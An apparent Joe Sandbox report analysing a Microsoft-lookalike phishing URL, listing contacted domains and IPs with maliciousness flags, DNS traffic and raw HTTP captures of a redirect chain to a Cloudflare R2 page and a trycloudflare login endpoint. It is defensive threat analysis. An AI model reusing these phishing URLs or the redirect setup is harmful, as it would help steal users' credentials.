https://button-students-container-titans.trycloudflare.com/favicon.ico	true	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	false		high
https://unpkg.com/@splinetool/viewer@0.9.414/build/spline-viewer.js	false		high
https://unpkg.com/@lottiefiles/lottie-player@2.0.12/dist/lottie-player.js	false		high
https://challenges.cloudflare.com/turnstile/v0/b/708f7a809116/api.js	false		high
https://button-students-container-titans.trycloudflare.com/	true		unknown
https://ipapi.co/favicon.ico	false		high
https://prod.spline.design/mAXoIkgd8xZRsO2j/scene.splinecode	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onTurnstileLoad	false		high
https://button-students-container-titans.trycloudflare.com/api/login	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/favicon.ico	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg	false		high
https://api.ipify.org/?format=json	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=92701908ae6742b3&lang=auto	false		high
https://button-students-container-titans.trycloudflare.com/api/get-branding	true	Avira URL Cloud: safe	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE	false		high
https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?session=JZCSg72AXb0H&target=portal&client=K01Iypuf&auth=standard&device=VwuX4DSe66&origin=direct	true		unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_call_c2616792e1950f83fdef6e72dab97293.svg	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/92701908ae6742b3/1743091197430/d08ea8eaa8cb9725cb4a73d18d3b569d2d31ee596bf42018d105be218ee89eda/6ek1GWujbLZ5Njf	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/d/92701908ae6742b3/1743091197434/Wq3PwaYUU2uWS78	false		high
https://unpkg.com/@lottiefiles/lottie-player@latest/dist/lottie-player.js	false		high
https://ipapi.co/45.92.229.138/json/	false		high
https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5	false	Avira URL Cloud: safe	unknown
https://button-students-container-titans.trycloudflare.com/api/status/login_20250327_090120	true	Avira URL Cloud: safe	unknown
https://cdn.tailwindcss.com/	false		high
https://assets5.lottiefiles.com/packages/lf20_zw0djhar.json	false		high
https://unpkg.com/@lottiefiles/lottie-player@2.0.12/dist/lottie-player.js.map	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/	false		high
https://api.ipify.org/favicon.ico	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_call_c2616792e1950f83fdef6e72dab	chromecache_118.1.dr, chromecache_85.1.dr	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4	chromecache_118.1.dr, chromecache_85.1.dr	false		high
https://github.com/jonschlinkert/fill-range	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://github.com/postcss/autoprefixer#readme	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://github.com/micromatch/to-regex-range	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://www.shadertoy.com/view/ltScRG	chromecache_126.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/browserslist/browserslist#readme	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e	chromecache_118.1.dr, chromecache_85.1.dr	false		high
https://spline.design/?utm_source=spline-viewer&utm_campaign=spline-logo	chromecache_126.1.dr	false		high
https://mths.be/cssesc	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_106.1.dr	false		high
https://unpkg.com/	chromecache_124.1.dr	false		high
https://cdn.tailwindcss.com	chromecache_118.1.dr, chromecache_85.1.dr, chromecache_124.1.dr	false		high
https://www.gamedev.net/articles/programming/graphics/contact-hardening-soft-shadows-made-fast-r4906	chromecache_126.1.dr	false	Avira URL Cloud: safe	unknown
https://api.ipify.org?format=json	chromecache_118.1.dr, chromecache_85.1.dr	false		high
https://evilmartians.com/chronicles/postcss-8-plugin-migration	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://pub-dfd33530d0df476092e8325dabd3a066.r2.dev/mailboxstatus.html	chromecache_118.1.dr, chromecache_85.1.dr	false	Avira URL Cloud: safe	unknown
https://tailwindcss.com/docs/installation	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://ipapi.co/$	chromecache_118.1.dr, chromecache_85.1.dr	false		high
https://www.cloudflare.com/favicon.ico	chromecache_106.1.dr	false		high
https://app.spline.design/_assets/_icons/icon_favicon32x32.png);	chromecache_126.1.dr	false	Avira URL Cloud: safe	unknown
https://gist.github.com/tschw/da10c43c467ce8afd0c4	chromecache_126.1.dr	false		high
https://twitter.com/browserslist	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high
https://github.com/jonschlinkert/is-number	chromecache_92.1.dr, chromecache_102.1.dr, chromecache_108.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.8.44	ipapi.co	United States	13335	CLOUDFLARENETUS	false
104.18.38.252	assets5.lottiefiles.com	United States	13335	CLOUDFLARENETUS	false
172.67.41.16	unknown	United States	13335	CLOUDFLARENETUS	false
104.17.248.203	unpkg.com	United States	13335	CLOUDFLARENETUS	false
142.250.72.100	www.google.com	United States	15169	GOOGLEUS	false
172.66.0.235	pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev	United States	13335	CLOUDFLARENETUS	true
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
104.16.230.132	button-students-container-titans.trycloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.69.226	unknown	United States	13335	CLOUDFLARENETUS	false
23.209.72.9	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
104.26.12.205	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.22.21.144	cdn.tailwindcss.com	United States	13335	CLOUDFLARENETUS	false
162.214.154.8	loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br	United States	46606	UNIFIEDLAYER-AS-1US	false
104.16.231.132	unknown	United States	13335	CLOUDFLARENETUS	false
18.238.80.7	d1upx9974t6kuw.cloudfront.net	United States	16509	AMAZON-02US	false
172.64.149.4	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16
192.168.2.18
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1650384
Start date and time:	2025-03-27 16:59:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@32/108@54/21
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.40.110, 142.250.176.195, 142.251.163.84, 142.251.32.110, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.250.65.170, 142.250.65.202, 142.250.65.234, 142.250.81.234, 142.250.64.74, 142.250.64.106, 142.250.72.106, 142.250.80.10, 142.250.80.42, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.250.65.195, 13.107.246.41, 4.175.87.197, 23.9.183.29, 20.190.190.130, 23.57.90.157
Excluded domains from analysis (whitelisted): www.bing.com, logincdn.msauth.net, clients1.google.com, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize?email=maurice@microsoft.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.5156389397865375
Encrypted:	false
SSDEEP:	3:OxdnPL2m9SAr1CnU95Yn:OxBPLem1Fgn
MD5:	40F53EFE13498FAA11080E46FB9D399C
SHA1:	5C94C1F5C82061EBABD459E491F1426E6AF6B167
SHA-256:	6D09DBDF27CFD886327815DC04E048CBD8B962BCFF0775E4388737F19D162B60
SHA-512:	F7C524945664585770690F84D5674351CE9CDCC4ED04F727A5E0419C7A2BDD6750989A02D9B8AC5BA0ECA46B8B5921C6E657BDD9D3F5C6A361BBAF78651F1B9E
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIuCQi8HUrfvyCcEgUNg6hbPRIFDdcTi4ISBQ0OuPKcEgUNvFxIUSE3QiSdVDH4VQ==?alt=proto
Preview:	CiQKBw2DqFs9GgAKBw3XE4uCGgAKBw0OuPKcGgAKBw28XEhRGgA=

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 16:59:50.325536966 CET	53	57452	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:50.388715029 CET	53	57142	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:50.843364000 CET	59651	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:50.848933935 CET	63324	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:50.858705044 CET	62606	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:50.859071970 CET	63050	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:51.012398005 CET	53	51646	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:51.067413092 CET	58458	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:51.067616940 CET	55203	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:51.150940895 CET	53	53662	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:51.435797930 CET	53	58458	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:51.435853004 CET	53	62606	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:51.435884953 CET	53	59651	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:51.435918093 CET	53	55203	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:51.435965061 CET	53	63050	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:51.435998917 CET	53	63324	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:52.699930906 CET	58158	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:52.700104952 CET	52692	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:52.856844902 CET	53	58158	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:52.862314939 CET	53	52692	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:53.341243982 CET	51624	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:53.341315031 CET	60809	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:53.350402117 CET	63926	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:53.350574970 CET	51690	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:53.424277067 CET	53	51624	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:53.427264929 CET	53	60809	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:53.435029030 CET	53	63926	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:53.435081959 CET	53	51690	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:54.800568104 CET	51240	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.800735950 CET	49561	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.894879103 CET	53	51240	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:54.912034988 CET	58704	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.913326979 CET	54354	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.943726063 CET	57062	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.943887949 CET	58524	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.944267988 CET	63289	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.944413900 CET	55520	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:54.960357904 CET	53	49561	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:54.995341063 CET	53	58704	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:54.996064901 CET	53	54354	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.027635098 CET	53	57062	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.027677059 CET	53	58524	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.055672884 CET	53	63289	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.064646006 CET	53	55520	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.629703999 CET	52754	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:55.630136013 CET	56579	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:55.714221954 CET	53	52754	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.714453936 CET	53	56579	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.832823992 CET	52867	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:55.833089113 CET	55812	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:55.915718079 CET	53	52867	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:55.916064024 CET	53	55812	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:56.841759920 CET	62262	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:56.841986895 CET	57674	53	192.168.2.16	1.1.1.1
Mar 27, 2025 16:59:56.925311089 CET	53	62262	1.1.1.1	192.168.2.16
Mar 27, 2025 16:59:56.925329924 CET	53	57674	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:05.237725019 CET	54930	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:05.237942934 CET	62800	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:05.323535919 CET	53	54930	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:05.328005075 CET	53	62800	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:06.348531961 CET	54457	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:06.348721981 CET	62883	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:06.431332111 CET	53	54457	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:06.431391954 CET	53	62883	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:07.625952005 CET	50747	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:07.626111031 CET	59867	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:07.712660074 CET	53	50747	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:07.712980032 CET	53	59867	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:07.842403889 CET	53	59946	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:07.946300983 CET	53	49449	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:08.075592995 CET	50835	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:08.075721979 CET	51298	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:08.159168959 CET	53	50835	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:08.159420013 CET	53	51298	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:08.241193056 CET	53	63155	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:17.131171942 CET	57680	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:17.131417036 CET	52072	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:17.214107990 CET	53	57680	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:17.214200020 CET	53	52072	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:26.481209040 CET	53	50855	162.159.36.2	192.168.2.16
Mar 27, 2025 17:00:26.945229053 CET	53	55637	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:34.693806887 CET	62614	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:34.694013119 CET	59181	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:34.776891947 CET	53	62614	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:34.776954889 CET	53	59181	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:35.186079025 CET	52127	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:35.186198950 CET	64865	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:35.186532974 CET	59177	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:35.186646938 CET	52186	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:35.269084930 CET	53	52127	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:35.269139051 CET	53	64865	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:35.269412994 CET	53	59177	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:35.269444942 CET	53	52186	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:35.757386923 CET	60093	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:35.757531881 CET	57587	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:35.840989113 CET	53	60093	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:35.841042042 CET	53	57587	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:49.814714909 CET	53	53317	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:49.905517101 CET	49323	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:49.905679941 CET	63873	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:49.988341093 CET	53	49323	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:49.988358974 CET	53	63873	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:50.208214998 CET	53	56431	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:58.171307087 CET	61836	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:58.171480894 CET	51292	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:00:58.257673025 CET	53	61836	1.1.1.1	192.168.2.16
Mar 27, 2025 17:00:58.257715940 CET	53	51292	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:02.774311066 CET	138	138	192.168.2.16	192.168.2.255
Mar 27, 2025 17:01:05.179271936 CET	55097	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:01:05.179411888 CET	51042	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:01:05.262198925 CET	53	55097	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:05.262219906 CET	53	51042	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:20.434062958 CET	53	55981	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:40.175760984 CET	49628	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:01:40.176013947 CET	53785	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:01:40.258878946 CET	53	49628	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:40.258924007 CET	53	53785	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:41.397294044 CET	49522	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:01:41.397443056 CET	63416	53	192.168.2.16	1.1.1.1
Mar 27, 2025 17:01:41.480190992 CET	53	49522	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:41.480272055 CET	53	63416	1.1.1.1	192.168.2.16
Mar 27, 2025 17:01:41.562602997 CET	53	53203	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 27, 2025 16:59:51.436212063 CET	192.168.2.16	1.1.1.1	c22b	(Port unreachable)	Destination Unreachable
Mar 27, 2025 16:59:54.960560083 CET	192.168.2.16	1.1.1.1	c23f	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:51 UTC	758	OUT	GET /cgi-bin/reset/authorize?email=maurice@microsoft.com HTTP/1.1 Host: loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:52 UTC	302	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 27 Mar 2025 15:59:50 GMT Server: Apache Location: https://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/reset/authorize/?email=maurice@microsoft.com Content-Length: 326 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-03-27 15:59:52 UTC	326	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 6d 6c 63 72 6f 73 6f 66 74 6f 6e 6c 69 6e 65 33 36 35 61 66 74 72 61 6c 2e 63 6f 6d 2e 72 69 62 65 69 72 6f 61 75 74 6f 63 61 70 61 73 2e 63 6f 6d 2e 62 72 2f 63 67 69 2d 62 69 6e 2f 72 65 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br/cgi-bin/rese

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:52 UTC	759	OUT	GET /cgi-bin/reset/authorize/?email=maurice@microsoft.com HTTP/1.1 Host: loginmlcrosoftonline365aftral.com.ribeiroautocapas.com.br Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:52 UTC	516	IN	HTTP/1.1 307 Temporary Redirect Date: Thu, 27 Mar 2025 15:59:51 GMT Server: Apache X-Frame-Options: DENY X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Pragma: no-cache Expires: 0 Location: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-27 15:59:52 UTC	1920	IN	Data Raw: 37 37 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 26 23 38 32 30 33 3b 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 70 75 62 2d 31 31 66 39 64 65 31 62 30 65 34 66 34 36 30 31 38 33 32 38 38 31 63 63 38 31 63 37 66 38 33 61 2e 72 32 2e 64 65 76 2f 69 6e 64 65 78 2e 68 74 6d 6c 3f 63 30 39 63 39 64 62 33 65 38 65 35 38 39 32 36 30 30 63 38 64 37 66 32 66 31 34 65 66 35 23 6d 61 75 72 69 63 65 25 34 30 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 2f 2f 20 50 72 65 76 65 6e 74 Data Ascii: 774<!DOCTYPE html><html><head> <title></title> <meta http-equiv="refresh" content="0;url=https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5#maurice%40microsoft.com"> <script> // Prevent

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:53 UTC	734	OUT	GET /index.html?c09c9db3e8e5892600c8d7f2f14ef5 HTTP/1.1 Host: pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:53 UTC	283	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:53 GMT Content-Type: text/html Content-Length: 17764 Connection: close Accept-Ranges: bytes ETag: "9fc26d49c733377c173ba9dde94a1412" Last-Modified: Thu, 27 Mar 2025 11:05:53 GMT Server: cloudflare CF-RAY: 927018f59aef2fef-EWR
